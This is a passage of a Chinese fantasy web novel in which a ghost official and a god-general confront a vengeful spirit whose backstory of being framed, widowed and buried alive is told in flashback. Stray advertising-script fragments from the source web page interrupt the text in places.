生硬的语气带着咬牙切齿的味道,洛遥终于知道他火从何来,她从来都是独来独往的性格,能自己完成的事情绝不假手他人,更不会与陌生人有过多牵扯。 就连她自己也没有注意到潜意识中并没有将卫凌放在一个可以依赖信任朋友的位置。 只不过萍水相逢,之后再无交集,内心对于他的定义从来都是过客。 “我以为这东西很好拔......” 红缨枪撬开了锁魂钉,每一处关节上的钉子加起来刚好九枚,上面还粘着暗沉腐烂的血肉,最后一枚印堂处的锁魂钉被取下时,阴风骤起,落叶沙沙。 “真是谢谢你们,我终于等到这一天了。” 低泣声压抑着颤抖的兴奋,王心莲的声音随着阴冷彻骨的气息爬满洛遥后背,渐渐的,哭声中爆发癫狂的笑,她感到强烈的违和感,莫名的心悸,让心脏在胸膛中剧烈跳动。 一下,又一下,直到—— 一只苍白血污的手将胸膛贯穿,捏住那颗跳动的心脏。 变故比剧烈的阴风更为猛烈,红缨枪杀意凛然,在刺中王心莲面门时被一句话轻轻截下,“想让她死你尽管下手。” 苍白的手轻捏心脏,稍稍用力洛遥便感觉到了剧烈的疼痛,卫凌听见她的痛哼,眼底戾气顷刻便压抑不住。 “她是来帮你的,你为何伤她?” “闭嘴,我不相信任何人。” 阴魂不似凡人之躯,被穿透胸膛便会重伤,别的小鬼也做过拎下脑袋来玩的游戏,只要身躯完整复原不成问题,可王心莲穿透胸膛时她感到了强烈的危机。 王心莲一身污迹退去,周身肆虐的阴气并没有让她看起来像厉鬼那样形容可怖,反而从里到外散发着令人拜谒的佛光。 “你修成佛心了!” 金色佛光在胸膛中散发璀璨光芒,洛遥震惊到半天说不出话。 十世为善,方得佛心,脱凡为神只在一念之间。 “不要做傻事,你离成佛只差一步,就最后一步就能修成正果了啊!你知道这是多少人渴求不得的机缘,偏偏只有你成功了,你难道要走错最后一步!” “王心莲把手放开,我当你刚才什么都没做,你的情况我会奏明鬼殿大人,只要你肯回头。” 王心莲听着却忽然大笑,“成神又如何,做鬼又如何,我就算做了鬼,又有谁能杀我!” “我不要成神,装模作样戴假善良的帽子,我只要复仇,让我的仇人血债血偿!” 王心莲一掌将她拍入棺材,虬节扭曲的老槐树根爬满棺材缠在洛遥身上,伴随着落棺声,陷入漆黑。 倒下的老槐树像人一样从地上撑起身体,树干上显现出一张人脸,咧嘴狰狞地笑,卫凌看清了那张脸是王心莲的样子。 槐树本是聚阴之物,又吸收了王心莲数十年的怨气和血肉,早就异化成妖物,或者说已经融为一体。 必须杀了王心莲! 蓄力一枪被王心莲单手挡住,护体金光在她身上顽强抵抗外来的攻击,卫凌的脸色更加凝重,一招交手就试探出王心莲绝非能轻易解决。 王心莲也是同样感受,她看着裂开贯穿手心的口子感叹:“神君真是好身手。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “不过,神君要继续和我打下去恐怕你那位小情人要撑不住了。” 槐树妖藤爬满棺材,往地下拖去,像是吞入腹中,树脸发出婴儿般啼鸣,“吃饭,吃饭,吃饭!!!” 卫凌脸色骤变,转身冲向槐树妖,王心莲并不意外,在一旁看着卫凌和槐树妖缠斗,手心阴气翻滚,“神君不怕我偷袭你?” 男人看都不看身后,疯狂攻击拖着已经大半陷入地底的棺材的槐树根,语气狠戾,“想偷袭,放马过来。” 令他意外的是,王心莲没有这样做,而是走向了用唯一能够活动双手往外爬的赵县令。 “故人相见,赵县令怎么就急着跑呢?” 王心莲噙着一丝温婉的笑意,像逗弄阴沟里的老鼠一样,踩住了不能活动的断腿,赵县令牙齿打颤全身颤抖,恨不得昏过去,可急剧的惊恐却又让意识无比清醒。 直到现在他都不敢相信被自己玩弄控制的傀儡会挣脱束缚来向他索命,他不顾断腿被踩住的痛意,疯狂挣扎,“滚开,滚开,我就应该把你挫骨扬灰!” 都怪他失策了,当初应该让那老道士把王心莲直接打到魂飞魄散的! 摸到脖子上的护体法器,他定了定神,“不想死就把你的脚放开,不然本官用法器将你打到魂飞魄散。” 精神极度紧张的他已经完全忽略了王心莲踩着他法器没有发起攻击的异样。 “哦?挫骨扬灰?”王心莲似乎听到了什么极为好笑的话,“就凭这个东西?” 冰冷的手轻而易举取下刻满符咒的珠串,指尖稍一用力就碎成糜粉,王心莲弹掉指尖余灰表情兴致缺缺,“似乎也不怎么厉害嘛!” “怎么会这样?” 他明明记得珠串逼退了洛遥那只小鬼,寻常鬼物更不敢近身,为什么对王心莲毫无作用。 “这种东西对我根本没用。” 王心莲如今已经不在阴邪鬼物的范围,护体佛光加身,就连神将都不能轻易拿下,鬼差更是不能近身,她的佛心简直就是所有鬼物的克星,死在她手下甚至有种被超度的错觉。 非鬼,非神,不受六道所束的半神。 最后一丝希望破碎,赵县令微末的勇气溃不成军,疯狂在地上磕头。 “对不起,我错了,你放过我吧!” 轻轻的声音落在他头顶。 “晚了。” 痛楚从脊背蔓延,最后布满全身,狰狞的藤蔓从王心莲身下爬出,圈住挣扎的身体,不断挤压,碎裂的声音像一颗颗爆开的豆子,清脆有痛苦。 赵县令身体趴在地上,头部反拎在后背,碎成粉末的骨头支撑不住软趴趴的躯体,像烂泥扒在地上。 惊恐的眼珠子几乎要从眼球里爆开,嘴巴仍旧保持最后痛苦嘶吼的状态。 老道士要疯了,比全程目睹一切更为恐怖的是,他知道一下个就到他了。 他不能接受像赵县令那样生不如死的煎熬,在索命女鬼一步步走向自己时,什么珍贵保命法器统统往外甩,符箓更是不要钱一样全部洒向王心莲。 可依旧没能让不断接近的脚步停顿一秒。 飞扬的符箓在碰到王心莲时全部自燃飘落成雪白的灰烬。 惊叫声再起。 卫凌看见了王心莲的所作所为没有阻止,在他看来这两人死有余辜,王心莲有仇报仇并不为过,况且他还有更重要的人,其他无关之人不值得分心。 11. 第 11 章 缠绕的藤蔓忽然变成了无数鬼手,使劲把她摁在棺材里,狰狞的声音在耳边叫嚣。 “她居然没死,赶紧摁住她。” “活人也下葬吗?” “管她是不是活人进了棺材都是死人,外面的百姓都在看着别在这时候出错。” 更多怨愤咒骂声如潮水喷涌而来,尖锐、刻薄又阴狠,恍惚间洛遥分不清现实,只觉被阴冷的气息全身包围。 “把这恶妇打死,不能让她出来作恶。” “那要是她怨恨我们变成鬼索命怎么办?” “那就用锁魂钉钉死她,让她永世不得超生。” “淫/荡的狐狸狐狸精就该死,不用锁魂钉封死没准做了鬼还要勾引男人,这都是为了大家的安全考虑。” “钉死她,钉死她,钉死她!” 先是肩膀上的剧痛接着是手臂,大腿,脚踝,最后尖锐的硬物抵在印堂上,硬生生破开坚硬的头骨。 洛遥痛到想嘶吼,可她发现自己喊不出声,只能眼睁睁看着棺材从眼前合上,沉闷、尖锐的封棺声再次响起,空间不留一丝缝隙。 血腥味在黑暗中弥漫,从前种种如过眼繁花,盛开眼前。 *** 连日无休止的大雨冲破了河堤,百姓流离失所,随着灾民越来越多,但是谁会在乎一个小小的沁阳。 如今梅雨季节,多地皆受灾害影响,自然是都城周边最为紧要,等到最后才轮到小小的沁阳县。 加上沁阳周边环水,灾害频发,道路早就被冲毁,因此过了两月依旧不见朝廷的救灾粮。劫后余生的百姓躲过了洪水,却没躲过米粮耗尽的灾厄。 如今,沁阳县令只能用自己府中存粮来救济百姓,但存粮渐渐不足,所有人都要面临饿死的状况,县中米粮也贵如黄金。 米粮山商赵霍、李为利形成牟利小团体,将普通大米卖到了平日二十倍的价格。 灾难之时仍有人大发难财,武朗听闻怒不可遏,令两人恢复正常价,两人虽有怨气,但官威之下也不得不同意。 但百姓却依旧没有买到粮食,武朗知道两人阳奉阴违,上前缉拿被妻子王心莲拦住,“如今百姓积怨已久,恐怕只要一个矛盾就能爆发冲突,粮食是唯一活命的关键,掌握粮食的赵霍、李为利也决不能乱动。” “我这还有出嫁时带回来的嫁妆,夫君可拿去一用,先将那两人手里的粮食买下来。” 征用米粮两人绝不同意,为今之计只有此法。 “辛苦娘子,日后我一定把娘子的嫁妆赎回。” 武朗心中羞愧,但也不得不去做,家中存粮消耗殆尽,自己的妻子又已经怀胎三月,不能每日过着吃不饱饭的日子。 府衙外面饿得皮包骨头的百姓黑压压一片,每一声呻吟都压在父母官武朗身上。 朝廷拨下的赈灾款层层削扣,到了沁阳又能剩下多少,如今道路冲毁,或许那点微末的粮食永远也不会到。 当天,武朗买下了二人私藏整整四车的粮食,二人酝酿大挣一笔的计划胎死腹中,对于武朗怨恨更深。 府衙外面快要饿死的百姓终于吃到了活命的粮食,一连三日府衙门外大锅煮的米粥就没有停过,百姓感激之余,人群中却流出了揣测之言。 “我听在府衙任职捕快的表兄说,府衙里的存粮早就空了,县令大人哪里来的这么多粮食?” “县令大人给我们吃的就行为什么还问这么多?” 另一人凑过来说,“前些晚上我看到有好几辆马车到县令府上,然后次日早上县令就开始施粥了。” “啊,这粮食哪里来的?” 好奇的人越来越多,男人神神秘秘小声说,“如今水灾已经爆发两月,按道理朝廷的赈灾粮食早就到了,可你们看见了吗?” 有人惊恐地瞪大眼睛,“你是说县令大人吞了我们的赈灾粮!” 那人连忙摆手,“我可没这么说,就算是赈灾粮也落不到我手里,现在起码每天还能有一碗粥喝呢!” 一碗粥,吃不饱,也饿不死,恰到好处让身体每天都能清醒地感受饥饿的痛苦。 怀疑在本就怨气横生的沃土里很容易种下,快速滋生,渐渐的怨念盖过了对于每日施粥县令的感激,甚至生出更浓的怨气。 为什么每天只能喝一碗粥,让他们天天忍受饥饿的痛苦。 有人说—— “因为县令大人想自己吃饱。” 有人在挣扎—— “县令夫人怀着身孕,还坚持为我们施粥,一定心里还有我们这些子民的。” 那人又说—— “那是因为吞并赈灾粮的主意就是县令夫人提出来的,想要朝廷的赈灾物资充了他们的私囊,自古当官哪有不剥削百姓的,苦的只有百姓罢了。我在府衙的表哥对于这些事情可是一清二楚。” 流言愈演愈凶,甚至再离谱都会被人奉作真相。 “你们恐怕不知道就连县令夫人肚子里的孩子都不是县令的,而是私会的情夫所生。” “怎么可能?” “实不相瞒我表哥刚好是那情夫,他可是亲口承认县令夫人背上有块红色胎记。”男人贼兮兮地挑动其他男人眼里的好奇心。 “你们恐怕不知道县令夫人看着端庄贤淑,私底下可对我那表哥爱的很呢,一日不见便要缠着我表哥,要不是担心自己糊口养家的职位不保,才不会干这种没有道德心的事情。” 没人会在听八卦时率先考虑内容的真假,而是期望能听到更多隐秘劲爆的内容,满足内心的探知欲。 在基于对他人不好的印象下,很容易自然而然把道德败坏的事情归于此人的品性。 王心莲是他人口舌之下的牺牲品。 “原来还有这种伤风败俗的事情。” “你们别不相信,听说县令夫人经常去寺庙祈福,每次在后院的柴房里私会。” 又有人私语,“我好像看到县令夫人今天就去了一趟寺庙。” 带着大胡子的男人等热烈谈论的人群散开,偷偷往寺庙的方向去时,脸上笑意奸诈,低着头往无人的方向去,拿掉脸上遮掩面貌的胡子,俨然是赵霍的模样。 丛林中有一个被绑着的老嬷嬷,正是王心莲幼时的乳娘,她挣扎着期望男人放过她,可依旧逃不过人头落地的下场。 暗处,拎着淌血刀尖的男人走出,语气轻松完全不像是刚杀了人的样子,“多亏了这个老妈子,要不然还真不知道县令夫人身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 体上的秘密。” 赵霍问道:“贤弟人都找好了吗?” “大哥放心,就等着武朗主动走进来叫他永无翻身之日。” 李为利浮腻的脸肉鼓出一道道褶子,满面油光尽是凶恶之相,“断我们兄弟二人的财路,就是县令也得滚下去做鬼。” *** 王心莲近来心里总是不安,肚子里的孩子也不安分,看到如今灾民局势暂稳,便想着去寺庙祈福祈求一切顺利,孩子能平安出生。 拜完之后,马车却忽然坏了,于是只能暂住寺庙偏房休息,可坐着坐着困意上涌。 不知不觉中,下身逐渐钝痛,踢门声伴随着惊叫声让她清醒过来。 入眼竟是一个赤裸的陌生男子在自己身上,王心莲惊惧万分,“你是谁,竟然......” 房门忽然被踢开,是听说自家夫人出意外慌乱赶过来的武朗,后面是急急赶来看热闹的灾民。 两眼相对,两人皆是脸色煞白,王心莲慌乱将衣服拉扯身上,“夫君,我不知道为什么会这样?” 背叛的怒火充斥脑海,胸口气血翻涌,他不敢相信眼前这一切,抽出捕快的刀当场朝床上的男人捅去。 “等等。” 两个字像钉子一样狠狠钉在心口,往日白首偕老的情谊都像是一场笑话,拿着刀的手止不住颤抖。 “你还护着这个奸夫。” “不是,我是想——” 查明真相几个字未说出口,人头已经被当场砍下,飞溅的鲜血浸透了王心莲的衣裙,恶心的味道让她半天说不出话。 “县令夫人背上还真有一块拇指大小的红色胎记啊!” 听到看热闹灾民的话,武朗戾气上涌,他的夫人私密的地方竟让其他男人看了去,手里的刀恨不得向说话的男人砍过去,却在下一刻如坠冰窖。 “听说县令夫人常常在寺庙私会情郎,就连肚子里的孩子都不是县令的,那情郎还说县令夫人背上有拇指大小红色胎记,竟然都是真的。” 红色胎记,孩子不是他的。每一个字都将武朗打入地狱,几乎稳不住脚步。 不是亲近之人,怎么可能看到私密的地方。 武朗脑子里一团乱麻,怒火将理智烧成了一团浆糊,王心莲手脚发冷,完全不知道为什么这些人竟然知道自己身上有块胎记,更不明白刚才死的男人是受谁指示。 一团无形的网狠狠罩住了她,看着她痛苦挣扎。 “夫君,不是你看到的这样,这不是真的......” 王心莲的手指一直控制不住颤抖,武朗失望的眼神更让她心如刀绞,“你信我。” 武朗不知道该不该相信,脑袋胀痛,让人把围着的群众清走,府衙的捕快忽然着急赶来,“大人不好了,灾民暴动,围住了府衙,说要拿回他们的赈灾粮。” “哪来的赈灾粮!” 府里的粮食都是夫人用嫁妆换来的,朝廷的赈灾粮根本没个影子,捕快又在催促,怕晚一点粮食全部被抢光了。 灾民暴动的消息传上去,他这个县令也就此做到头了。 王心莲看着身着官服威风凛凛的依靠毫不犹豫离开,终于哭了出来。 夫君终究不信她。 12. 第 12 章 匆匆赶到府衙的时候,拿着锄头铁锹之类农具的灾民已经将门口围住,捕快围成人墙不敢轻易动手,见县令回来才终于有了主心骨。 “大人,大人回来了。” “你们围在府衙门口做什么?” 一天之内的变故太多,相守妻子的背叛,用心守护的百姓却对自己兵戈相见,武朗感觉无比疲惫,甚至已经累到让他没有力气愤恨、心痛。 直到此刻依旧不明白,自己用真心相待的究竟换来了什么。 叫嚣的灾民见到武朗仿佛找到了债主,平日对于这套整齐庄重官服的敬重变成另一种强烈的憎恨,他们要把这套欺压他们的这套皮子扒下。 让视他们为刍狗的狗官付出代价,他们要夺回自己的生路。 “武大人,你为什么要扣下我们的赈灾粮,你平时说成为百姓靠山的话都是谎言吗?” 年轻人手里拿着一把柴刀,高大的身躯未消退的肌肉能看得出是养家糊口的好把手,但如今已经瘦骨嶙峋,眼中只有怨气、不甘,“我的媳妇已经饿死了,唯一的孩子也病死了,老母亲被水冲走了,全家只剩我一个人了,我活着还有什么意义。” 武朗心口揪紧,几乎要说不出话,“......天灾人祸非人力所能挽救,但既然本官在一定竭尽全力。” “竭尽全力?哈哈哈——大人觉得这话说出来可笑吗?”年轻人双眼猩红,“你的家人俱在,娇妻在侧,衣食无忧,只需要在高堂上坐着,说点鼓舞人心的话,给点户口的米粥就算竭尽全力了。” “你哪懂血亲尽失的痛苦!” “为什么要连我们活命的粮食都要抢,只要多几口饭我儿就能活下来啊!” 悲戚的嘶吼让所有人都红了眼睛,那些失去亲人的伤疤被撕开,鲜血淋漓的痛苦瞬间喷涌。 “你说我扣了赈灾粮,你可知朝廷的赈灾粮根本没下来,你们喝的每一碗粥都是吾妻的嫁妆买回来的。” 年轻人的哭声戛然而止,“怎么可能?” 干裂的心脏上仿佛滋生出了宽慰的新苗,正要冒头之时,后背不知道被谁推了一下,一群人挤在了他面前。 “拿什么证明,我们不相信,事到如今还想骗我们,却舍不得拿出粮食。” “当天夜里我们兄弟几人看的一清二楚,每一辆车上拉的都是粮食,要是问心无愧为什么选择晚上偷偷运进府中,大人是怕被我们知道吧!” “肯定是怕我们知道后就捞不到好处了,狗官!” 到处都是流民几车粮食出现必然会遭到哄抢,到时候必然会出现纷争动乱,惹出人命,抢到粮食的人也绝不会好心把以命搏来的东西让给他人。 但是,这些道理说出去,没人也不会信,就算信了,冲动上头的人也绝不会听。 不知是谁带头喊了一句,“打倒狗官,抢回粮食!” 跟风的百姓便牟足劲往里冲,捕快只能全力拦截,武朗推开挡在前面的捕快厉声大喝: “速速退开,刀剑无眼,不听者缉拿入——” 拿着杀猪刀的屠夫也不知是被推了一把,还是被挤了上去,锈迹斑斑的杀猪刀直接捅破了官服加身的武大人身上。 这把剥皮杀畜的杀猪刀,第一次杀了人。 还没从震惊中反应过来,人群中又有高呼:“狗官死了,快进去抢粮食!” 带刀的捕快也抵不过成千上百愤怨的流民,很快大门冲破了一道口子。 “大人!”捕快拖着流血不止的武朗到角落中,以免被打斗波及。 “大人还能撑住吗,我带大人看大夫。” 武朗拉住他,气若游丝,“小海,我怕是撑不过去了。” 捕头跟在武朗身边多年,亲眼见证了这位为民竭力的年轻县令肃清了沁阳以往贪官腐败风气,平反了大大小小的冤案。 他本是牢里的死刑犯,从前以为天下乌鸦一般黑,直到忽然出现的年轻人救了他,直到现在他依旧记得大人初见时对他说的话。 “保护家人打死山匪怎么能算恶意杀人,应当广而告之敲鼓嘉奖这位英雄才对。” 后来为了报答大人救命之恩,他跟在了大人身后,而夫人还亲自教他识字笑称‘跟在县令大人身边的红人怎么能大字不识呢’,大概书中说的天妒英才就是如此。 这群狼心狗肺不知感恩的东西,根本不值得大人的真心。 “大人,我去杀了他们。”捕头哽咽着。 “别去,”武朗的声音低到听不见,这是将死之兆,“夫人还在寺里快带她离开。” 那只手从他手背掉下来时,捕快已经听不见任何声音,他不知道自己怎么冲出的府衙,也不记得刀上沾了多少人的血,只知道要找到夫人。 对了,找到夫人。 半路忽被拦截,站在前面的是米粮商赵霍和李为利,手里都拿着武器,看起来来者不善。 “是要找你们夫人?”赵霍笑着说。 捕头顿时警惕,“你们想做什么?” “没什么,只是告诉你今天恐怕去不了了。” 赵霍挥手下令,五个带刀家丁便全部围住捕快,最终少年人不敌死在乱刀下。 对不起,大人,让你失望了,我......没接到夫人。 李为利叹息,“怪就怪你们大人手伸得过长,偏偏要断我们财路。” 赵霍满意地看着呼喊震天的县令府衙,“为一群蠢货呕心沥血最后死在这群蠢货的手上,武朗不知你作何感受。” 听风就是雨,脑子完全不会思考的蠢货最好控制的,赵霍只是在里面浑水摸鱼,稍加引导就铸就一把针对武朗的夺命刀。 *** 王心莲忘记了自己是何种心情穿好衣服走出寺庙,下腹坠痛温热的东西止不住往下流,藕色粉裙被渗透的鲜血浸出印子。 她茫然走到府衙,却只看见从门口带台阶满地都是尸体,有流民的,有捕快的,鲜血把灰败石阶都染变了颜色。 角落里,熟悉的人影靠在墙壁上,腹上插着一把血迹斑斑的杀猪刀。 “夫君。” 这群人杀了她的丈夫。 为什么?明明要不是他们的救助这群灾民早就暴尸荒野,任野狗啃食。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “哈哈哈,都是狼心狗肺负心人。” 王心莲抽出了那把杀猪刀,冲进那群抢完粮食仍不满意,又一窝蜂跑到寝房中搜刮财物的暴民中。 没反应过来的人被她捅一刀捅死,房间里十个人竟然五个人都死在了身负重伤的妇人手下。 看到同伴死了大半终于反应过来,拿着棍子往王心莲身上抡,直到地上的人全身是血,不再挣扎才罢休。 *** 县令府衙被搜刮一空,没有得到粮食的被赵霍发放的粮食安抚,赵霍一时间成了众人的主心骨,贪官的尸骨被扔到了荒野上,等待的野狗、秃鹫早就饥肠辘辘。 王心莲的尸体同样被扔到了那里。 回程,路边面黄肌瘦的老道士穿着一身破旧道袍拦住了赵霍,“我推算这两人命有福德,为你所害,必会受天道惩罚,你又将人曝尸荒野,两人若化为厉鬼必会找你索命。” 赵霍还以为这人是个要饭的叫花子,听到他一言道出自己是背后凶手,惊骇这老道士当真有几分本事,心中杀意顿起,又想到老道士如果是来谴责他绝不会来提醒。 于是,神色恭敬几分,“不知道长能否为我解困?” 老道长眼神浑浊,似乎马上就要饿昏过去,“我要吃饭,还要三袋粮食。” 赵霍听完朗声大笑,“这好办,要是先生能为我分忧,别说区区三代粮食,日后同道长共享富贵也未必不可。” 老道长终于放心,望着日头,“午时将到,去找红木棺材过来,午时下葬。” 棺材很快被弄来,赵霍朝一脸莫名的百姓解释,“这位道长算出武县令和其夫人心有怨气,死后必化厉鬼为祸沁阳,因此要做法将恶魂封住,诸位可有愿意帮忙的?” 群众纷纷举手自愿帮忙,主动拿着铁锹挖坑,赵霍派人去找尸体,可关键时候却出了岔子,武朗的尸体已经被野狗啃食,不知道拖到了什么角落,而那个昏死的王心莲在野狗分食的痛苦中清醒过来,给前来收尸的人吓了一跳。 “人、人还没死。” “她居然没死,赶紧摁住她。”几人抓住想要逃跑的王心莲,把她塞进了棺材里。 “活人也下葬吗?” 赵霍阴狠地盯着害怕的家丁,“管她是不是活人进了棺材都是死人,外面的百姓都在看着别在这时候出错。” 用破布把嘴堵上几人拼命把挣扎的王心莲摁住,等将人塞进去后,一只带血的手忽然伸出,不甘地抓住棺木,挖坑的百姓不小心看见,吓得滚到一旁。 “没、没死,还活着。” 遭王心莲砍伤的男人恶狠狠说,“把这恶妇打死,不能让她出来作恶。” “那要是她怨恨我们变成鬼索命怎么办?” 游魂般的老道士忽然出现一旁,“那就用锁魂钉钉死她,让她永世不得超生。” 告不了阴状,永远封在地下,想翻天也翻不成。 锁魂钉一根根钉下,没有人为棺中的痛哼声同情,只有往后即将平安的庆幸,甚至有种除恶卫道的正义感,好像他们做的不是错事,而是为民的大义之举。 13. 第 13 章 比朝廷赈灾粮下来更快的是,镇压的军队,一刀灭了贪官的屠夫认为自己功劳最大,在群龙无首的沁阳县当起了土皇帝,拉帮结派抢夺他人粮食,收敛财富。 愚昧的野心滋生了无尽的欲望,在欲望达到最顶端时美梦破碎,所有暴民斩于乱刀之下。 没人知道是赵霍通风报信,抄小路带领军队在夜色中将他们一网打尽。 侠义之士赵霍再次受到被屠夫奴役百姓的拥护,受朝廷嘉赏成为沁阳县令。 朝廷官员死于乱民刀下,未免有心人调查事情真相,赵霍找到说书人,写了一本经典话本‘鱼戏莲花’,高雅的诗词在小小的沁阳或许不流行,但低俗的话本刚好满足不懂作诗赋词平民的需求。 起初,说书人笔墨谨慎不敢编排前县令的风流韵事,但在销量暴增的诱惑下,行文越发大胆。 真相是什么不重要,他写的又不是史记,实打实的银子才是穷困一生最渴求的东西。 水灾过去,几年之后,沁阳的米粮生意也越来越好,竞争对手越来越多,李府不能再一家独大,贪心驱动下,和赵霍决定,放出王心莲镇压的魂魄,驱使她杀了冒头的米粮商。 洛遥看着自己吸干一个又一个生魂的精气拼命挣扎,但这个格外清醒的梦比她想象的还要难醒过来。 虽能清醒得知道自己在做什么,但怎么都逃脱不了梦境的束缚。 她听见自己的声音,“臭道士还真以为能看住我一辈子吗?” 她根本不怕道士的符箓,这些死在她手下的阴魂也只会成为滋生她的养料,只要在忍耐一些时日就能突破锁魂钉的束缚了,届时所有人都逃不掉。 她会慢慢清算当年的业债。 恨意在胸腔中爆炸的时候,洛遥终于在感受到胸腔上的痛意中清醒过来。 她不是王心莲,她是鬼吏洛遥。 眼前也不是什么凶案现场只有逼仄漆黑的棺材,蠕动的树根挤满了狭窄的空间,死死缠在她的脖子上,洛遥不会因此窒息但是实在算不上好受。 忍着恶心把像蛇一样的东西从身上扒开,扒不开就用嘴去啃咬。 于是,把棺材盖撬开的卫凌就看见在拼命啃树根的洛遥,狼吞虎咽的样子仿佛在吃什么美食。 “好吃吗?” 啃到牙齿都要掉光的洛遥因为这句话差点没稀里哗啦哭出来,先开始她只想着把这鬼东西扯开,结果这东西意识到危险拼命口腔里挤,撑得她根本说不出话。 洛遥死命拽着,完全不顾形象撕咬就是怕鬼东西钻到她肚子里,偏偏还有个不长眼的在说风凉话。 卫凌不出意料收到了对方的眼刀子,见洛遥生气,立即运起神力把这东西拽开一把火烧了,洛遥得到喘息趴在棺材上拼命咳嗽,面前伸过来一只搀扶的手,被她无视躲开。 已经被斩断身子的老槐树,只剩下光秃秃的树干,仍想遁地逃走,被红缨枪钉住,在神火之下彻底烧成灰烬。 洛遥很羡慕卫凌翻手覆雨的神力,她只是一个新生小鬼,完全不能和活了万二八年的神仙相比,这种强大的力量对于她而言只是奢望。 不过,她向来擅长自我告解,如今她好歹是个小官,也不用在轮回中痛苦煎熬,日后若是业绩不错升官发财,也未必不能逍遥快活。 若是殿主看中器重,有如此靠山做后背,鬼界还不是她横着走。 怎么看都是前途光明啊! 心中酸涩渐退,洛遥从棺材中爬出,高挑的身影拦在面前,“你生气了?” 你说呢? 洛遥憋着气,“小人哪敢生大人您的气,大人救了我一命,我应该感恩戴德才对。” 这副阴阳怪气的样子还能叫不生气? 卫凌不明白为什么小鬼接近他,却每在危险的时候不愿意接受他的帮助,明明自己出手就能解决的事情小鬼偏偏要自己去冒险。 难道他插手就解决不了问题? 看着小鬼煞白的面庞,诘问的话终究是没有说出口,洛遥从他身边走过,被忽然环抱住,“是我没有保护好你。” 洛遥:“???” “不然你也不会被王心莲偷袭,但若事事和我商量,你哪里需要受这些皮肉之苦,你完全可以让我去做诱饵。” “...你不必自责,受伤完全是因为我自己也没猜到王心莲会忽然黑化。” 卫凌会因为她受伤的事情自责洛遥完全没想到,按道理这怎么也不是他的责任。 和二世祖相遇不过半月,嘴毒嚣张的嘴脸就换了一副模样,难道这就是所谓面冷心善。 “要是让人知道我卫凌连个小鬼都保护不了,那我这将军也不用做了。” 卫凌还是个将军,难怪神力凶悍,果然是在上面有身份的人,惹不起。 洛遥默默把腰上的手臂扯开,“洛遥何德何能担受大人如此厚爱,大人能帮上一二,洛遥已经感激不尽,日后大人若有需要,洛遥必定竭尽全力在所不辞。” 卫凌神色稍霁,不计较手被甩开的不快,“若是需要我求人的事,那必绝对危险。” 洛遥毫不犹豫,“若在洛遥能力之内必不会推辞。” 上过班的人哪个不会画大饼,最好二世祖是真的纯正善良的神仙,感动一下帮她抓回王心莲,让她顺顺利利回地府。 只是二世祖也是冲王心莲来的,他一个神界的将军要王心莲的魂魄做什么? “大人——” “都说了不要叫大人,你可以叫我名字。”卫凌皱眉打断她。 几乎没人直呼他的姓名,大部分见了他都得恭恭敬敬叫一声卫将军或者神君之类称呼,但卫凌并不希望洛遥像其他人那样叫那些听上去就生疏的名号。 小鬼都肯为他赴汤蹈火了,就连丢掉性命都不怕,说心里不喜欢鬼都不信。 他看过三生石结侣的神仙都没许过‘我愿意为你去死’这种奉上性命的重如千金的承诺,可手无缚鸡之力的小鬼竟然敢为他许诺。 她怎么敢的。 一颗心在胸膛里急促冲撞,难以言喻的喜悦从心口蔓延,这和灭掉八荒妖魔胜利后的喜悦不同,这种喜悦的感受让他几乎上瘾。 浑身神力仿佛泡进软绵绵轻盈的清池里,舒服得恨不得一口扎进去。 再看小鬼的样子怎么看怎么顺眼,面若白玉,肌肤赛雪,柳眉之下的明眸灿如九重天上的银河,一眼就吸引了他的心魂。 其实,他一直没有忘记初见小鬼的样子,那双眸子就像现在这般好看,明明一身披麻戴孝样的素衣,就是难以叫人移开目光。 “...好的,卫凌。”洛遥总觉得卫凌的表情有种奇怪的兴奋,好像一个人拼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 命想大笑却又忍着憋笑的样子,想着是不是自己画的大饼哄到了他,心里不由窃喜。 “你是想要带王心莲回神界,可是因为上面交代的任务?” 见她小心翼翼询问,卫凌的心口又暖了下,他知道小鬼一直有带王心莲回地府的任务,完成不了可能大难临头,但她这副犹豫的样子,分明还在担心他会不会完成任务。 口是心非的小鬼怎么就...这么惹人爱呢! “放心,帝君只是命我下来平定下界祸乱,我带王心莲去天界是因为她的夫君武朗不久前升为神界职官,我看此人颇有军事之才所以提为副将,但武朗一心挂念凡界妻子,我才答应寻回王心莲让他们夫妻相聚。” “王心莲犯下罪孽,地府问责也是应该。等我让他们夫妻团聚一回,就让你带回去。” “多谢大人,不对,谢谢你卫凌。” 洛遥激动地连忙道谢,若卫凌真要抢人,她完全不是卫凌的对手,这些天的努力白费不说,削职地府刑罚就能够她喝一壶。 可卫凌肯帮她,这些问题就不复存在。等待她的只有光明璀璨的前途。 见她开心的样子,卫凌也止不住高兴,和小鬼相处这些天除了见她一直冷脸就没见过她笑的样子,如今这一笑,让他都看愣了许久。 二世祖如此好说话,洛遥看他也顺眼不少,语气比往常更加缓和,在卫凌听来是温柔如水,“刚才你一个人和王心莲对上没有受伤吧?” 卫凌笑着说,“没有,她杀了那两个人就走了,我顾着杀槐树妖没管她。” 他居然没有追过去,而是留下来从槐树妖手里救她,说不感动是假的,洛遥竟然有种要是卫凌有需要自己一定尽全力帮忙的冲动。 哪怕刚才是画大饼这一刻也是真心实意想帮忙,不过,她实在想不出卫凌有什么地方需要,这个承诺终究是个无法实现的大饼。 洛遥有些心虚,撇开卫凌的注视,走到两具死相极为凄惨的尸体面前观察,“你可知王心莲的去向?” 卫凌走过来,“王心莲怨恨未消绝不可能放手离开,必定还留下沁阳,兴许在寻找以前的仇人。” 洛遥回想沉浸在王心莲往事中那股撕心裂肺的恨意,心口还有丝丝缕缕的余痛,一腔热血送了豺狼,断送一生,十世善心都抵不过世人的贪婪。 换谁能不恨,她自认为做不到。 一方面她希望王心莲把曾经伤害她的人全都杀了,另一方面却又希望王心莲能够真正放下褪去凡骨成神,逃离不尽轮回之苦。 见她沉思不语,卫凌问道:“你想做什么?” “一场让所有人目睹的夜审阴魂案。” 